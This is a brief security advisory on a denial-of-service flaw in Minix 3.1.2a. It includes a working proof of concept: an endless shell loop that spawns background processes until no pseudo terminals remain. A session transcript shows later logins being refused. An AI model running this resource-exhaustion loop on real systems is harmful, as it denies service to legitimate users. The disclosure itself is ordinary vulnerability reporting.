source: http://www.securityfocus.com/bid/30357/info Minix is prone to a denial-of-service vulnerability. An attacker can exploit this issue to prevent users from opening new pseudo terminals, denying service to legitimate users. Minix 3.1.2a is vulnerable; other versions may also be affected. $ uname -a Minix 192.168.1.2 3 1.2a i686 $ while true ; do (yes "yes yes minix uh ah"&) ; done [snip snip] $ ^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C ...disconnected telnet 192.168.1.2 Trying 192.168.1.2... Connected to 192.168.1.2. Escape character is '^]'. I am sorry, but there is no free PTY left! Connection closed by foreign host.
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